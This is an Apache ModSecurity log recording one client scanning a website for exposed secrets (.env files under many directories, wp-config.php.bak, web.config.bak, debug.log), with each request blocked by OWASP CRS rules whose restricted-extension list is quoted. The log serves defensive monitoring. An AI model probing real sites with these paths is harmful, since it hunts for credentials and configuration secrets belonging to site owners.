[Tue Oct 27 07:42:02.609791 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auCOCgJ0bI7Z9n11TMAC8AAAAAA"]
[Tue Oct 27 07:42:02.609920 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auCOCgJ0bI7Z9n11TMAC8AAAAAA"]
[Tue Oct 27 07:42:02.610169 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auCOCgJ0bI7Z9n11TMAC8AAAAAA"]
[Tue Oct 27 07:42:02.633495 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auCOCj4THoroSjopRdUAOgAAAAE"]
[Tue Oct 27 07:42:02.633663 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auCOCj4THoroSjopRdUAOgAAAAE"]
[Tue Oct 27 07:42:02.633881 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auCOCj4THoroSjopRdUAOgAAAAE"]
[Tue Oct 27 07:42:02.653399 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auCOCpekxYBRCO5jo1OIOAAAABA"]
[Tue Oct 27 07:42:02.653556 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auCOCpekxYBRCO5jo1OIOAAAABA"]
[Tue Oct 27 07:42:02.653834 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auCOCpekxYBRCO5jo1OIOAAAABA"]
[Tue Oct 27 07:42:02.686149 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auCOCgJ0bI7Z9n11TMAC8QAAAAA"]
[Tue Oct 27 07:42:02.686379 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auCOCgJ0bI7Z9n11TMAC8QAAAAA"]
[Tue Oct 27 07:42:02.686721 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auCOCgJ0bI7Z9n11TMAC8QAAAAA"]
[Tue Oct 27 07:42:02.701475 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auCOCiV3rvdaeXJTlLHAQQAAAAM"]
[Tue Oct 27 07:42:02.701623 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auCOCiV3rvdaeXJTlLHAQQAAAAM"]
[Tue Oct 27 07:42:02.701892 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auCOCiV3rvdaeXJTlLHAQQAAAAM"]
[Tue Oct 27 07:42:02.710892 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auCOCj4THoroSjopRdUAOwAAAAE"]
[Tue Oct 27 07:42:02.711070 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auCOCj4THoroSjopRdUAOwAAAAE"]
[Tue Oct 27 07:42:02.711345 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auCOCj4THoroSjopRdUAOwAAAAE"]
[Tue Oct 27 07:42:02.728901 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auCOCpekxYBRCO5jo1OIOQAAABA"]
[Tue Oct 27 07:42:02.729054 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auCOCpekxYBRCO5jo1OIOQAAABA"]
[Tue Oct 27 07:42:02.729345 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auCOCpekxYBRCO5jo1OIOQAAABA"]
[Tue Oct 27 07:42:02.738888 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auCOCgHzNpgY2H50otlpTAAAAAg"]
[Tue Oct 27 07:42:02.739072 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auCOCgHzNpgY2H50otlpTAAAAAg"]
[Tue Oct 27 07:42:02.739375 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auCOCgHzNpgY2H50otlpTAAAAAg"]
[Tue Oct 27 07:42:02.739853 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auCOCm_oZ855J3-bmxEqBwAAAAY"]
[Tue Oct 27 07:42:02.739994 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auCOCm_oZ855J3-bmxEqBwAAAAY"]
[Tue Oct 27 07:42:02.740288 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auCOCm_oZ855J3-bmxEqBwAAAAY"]
[Tue Oct 27 07:42:02.754955 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auCOCo0JjhEi1NzVi4XryAAAAAc"]
[Tue Oct 27 07:42:02.755098 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auCOCo0JjhEi1NzVi4XryAAAAAc"]
[Tue Oct 27 07:42:02.755346 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auCOCo0JjhEi1NzVi4XryAAAAAc"]
[Tue Oct 27 07:42:02.762082 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auCOCgJ0bI7Z9n11TMAC8gAAAAA"]
[Tue Oct 27 07:42:02.762241 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auCOCgJ0bI7Z9n11TMAC8gAAAAA"]
[Tue Oct 27 07:42:02.762499 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auCOCgJ0bI7Z9n11TMAC8gAAAAA"]
[Tue Oct 27 07:42:02.776740 2026] [security2:error] [pid 3201647:tid 3201647] [client 34.62.189.80:33244] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "ns2.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auCOCpVvqGtwGAy54pYQMgAAAA0"]
[Tue Oct 27 07:42:02.776972 2026] [security2:error] [pid 3201647:tid 3201647] [client 34.62.189.80:33244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auCOCpVvqGtwGAy54pYQMgAAAA0"]
[Tue Oct 27 07:42:02.777237 2026] [security2:error] [pid 3201647:tid 3201647] [client 34.62.189.80:33244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auCOCpVvqGtwGAy54pYQMgAAAA0"]
[Tue Oct 27 07:42:02.777848 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/web.config.bak"] [unique_id "auCOCiV3rvdaeXJTlLHAQgAAAAM"]
[Tue Oct 27 07:42:02.778024 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/web.config.bak"] [unique_id "auCOCiV3rvdaeXJTlLHAQgAAAAM"]
